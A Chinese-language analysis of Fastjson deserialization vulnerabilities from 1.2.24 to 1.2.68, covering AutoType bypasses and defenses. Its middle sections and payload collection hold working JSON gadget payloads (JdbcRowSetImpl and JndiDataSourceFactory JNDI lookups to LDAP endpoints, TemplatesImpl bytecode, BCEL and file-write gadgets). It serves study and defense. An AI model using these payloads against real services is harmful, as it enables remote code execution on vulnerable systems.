JAVA之Fastjson漏洞大宝典集合
字数 2331 2025-08-20 18:18:23
Fastjson反序列化漏洞深度解析与防御指南
一、Fastjson基础与漏洞原理
1.1 Fastjson基础机制
Fastjson是阿里巴巴开源的Java JSON处理库,其核心功能包括:
- 序列化:
JSON.toJSONString(),可通过SerializerFeature.WriteClassName选项在JSON中加入@type字段 - 反序列化:
JSON.parse()和JSON.parseObject(),当存在@type时会尝试反序列化为指定类对象
AutoType机制:Fastjson的核心特性,能根据@type自动反序列化成具体类对象,这也是多数漏洞的根源。
1.2 漏洞基本原理
Fastjson反序列化时,会执行目标类的:
- 构造函数
- getter方法
- setter方法
- is方法
当这些方法中存在危险操作时,攻击者通过构造恶意序列化数据即可触发漏洞。
二、各版本漏洞详解
2.1 Fastjson ≤1.2.24 (无AutoType限制)
漏洞点:默认使用@type指定任意类,无任何过滤机制。
利用方式:
String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";
Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);
典型攻击链:
-
TemplatesImpl链:
- 利用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl - 通过
_bytecodes加载恶意字节码 - 要求父类为
AbstractTranslet - 最终通过
newInstance()实例化
- 利用
-
JdbcRowSetImpl链:
- 利用
com.sun.rowset.JdbcRowSetImpl - 通过
setAutoCommit()触发JNDI注入 - 控制
dataSourceName实现RCE
- 利用
2.2 Fastjson 1.2.25-1.2.41 (AutoType机制绕过)
防御机制:
- 引入
checkAutoType安全机制 - 默认关闭
autoTypeSupport - 设置黑名单(
denyList)和白名单(acceptList)
绕过方式:
- 开启
autoType后,通过类描述符绕过:{ "@type":"[com.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1234/Exploit", "autoCommit":true }
2.3 Fastjson 1.2.42-1.2.43 (二次绕过)
防御改进:
- 增加对类描述符的检测
- 引入Hash校验黑名单
新绕过方式:
- 使用双类描述符:
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:1234/Exploit", "autoCommit":true } - 1.2.43中还可使用
[字符绕过
2.4 Fastjson 1.2.44-1.2.47 (关键漏洞)
1.2.44:基本修复了之前的绕过方式
1.2.45:黑名单绕过
- 利用
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory - 需要目标存在mybatis 3.x.x~3.5.0的jar包
1.2.47:严重漏洞,无需开启autoTypeSupport
- 利用
TypeUtils.getClassFromMapping缓存机制 - 通过
Class.class提前加载恶意类名到mappings中 - 完整攻击链:
- 通过
parser.parseObject解析JSON - 绕过
AutoTypeSupport检测 - 设置
resolveStatus为TypeNameRedirect - 通过
MiscCodec.deserialze()处理class类型 - 恶意类被缓存到mappings中
- 二次请求实现反序列化
- 通过
2.5 Fastjson 1.2.48-1.2.68 (后续绕过)
1.2.48修复:
- 设置
MiscCodec处理Class类时cache=false loadClass默认不缓存
1.2.68新绕过:
- 利用
expectClass绕过checkAutoType() - 使用
Throwable和AutoCloseable子类绕过 - 示例:
{ "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/path/to/target" }, "parameters": { "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters", "filename": "filecontent" } }
三、漏洞利用Payload集合
3.1 常见利用类
-
JdbcRowSetImpl:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:23457/Command8", "autoCommit": true } -
TemplatesImpl:
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgA...k="], '_name': 'su18', '_tfactory': {}, "_outputProperties": {} } -
JndiDataSourceFactory:
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://127.0.0.1:23457/Command8" } }
3.2 其他利用类
-
文件操作:
{ "@type":"java.lang.AutoCloseable", "@type":"java.io.FileWriter", "file":"/tmp/nonexist", "append":false } -
BCEL加载:
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "true", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "
\[BCEL \]
\(l\)8b\(I$A$A$A$A$A$A\)A...o\(V$A\)A"
}
3. **HikariCP利用**:
```json
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
四、防御建议
-
升级到最新版本:目前安全版本为1.2.83及以上
-
安全配置:
ParserConfig.getGlobalInstance().setSafeMode(true); // 启用安全模式 -
代码层面防御:
- 禁用
SerializerFeature.WriteClassName - 避免反序列化不可信数据
- 使用白名单机制
- 禁用
-
网络层面:
- 限制出网请求
- 监控异常JNDI请求
-
运行时防护:
- 使用SecurityManager
- 监控可疑类加载行为
五、漏洞分析工具与方法
-
调试环境搭建:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> <!-- 指定测试版本 --> </dependency> -
关键分析点:
com.alibaba.fastjson.parser.ParserConfig#checkAutoTypeTypeUtils#loadClassMiscCodec#deserialze
-
调用链分析技巧:
- 关注
getter/setter方法中的危险操作 - 跟踪
@type指定的类加载过程 - 分析黑名单过滤逻辑
- 关注
六、总结
Fastjson反序列化漏洞的本质在于其AutoType机制和Java反射的结合,攻击者通过精心构造的JSON数据可以触发远程代码执行。从1.2.24到1.2.68,虽然防御机制不断升级,但由于Java生态的复杂性和Fastjson的广泛使用,仍然存在各种绕过方式。
防御的关键在于:
- 及时升级到安全版本
- 启用安全模式
- 严格控制反序列化的数据来源
- 加强运行时监控
对于开发者而言,理解Fastjson的工作原理和漏洞形成机制,才能更好地规避安全风险,构建安全的Java应用。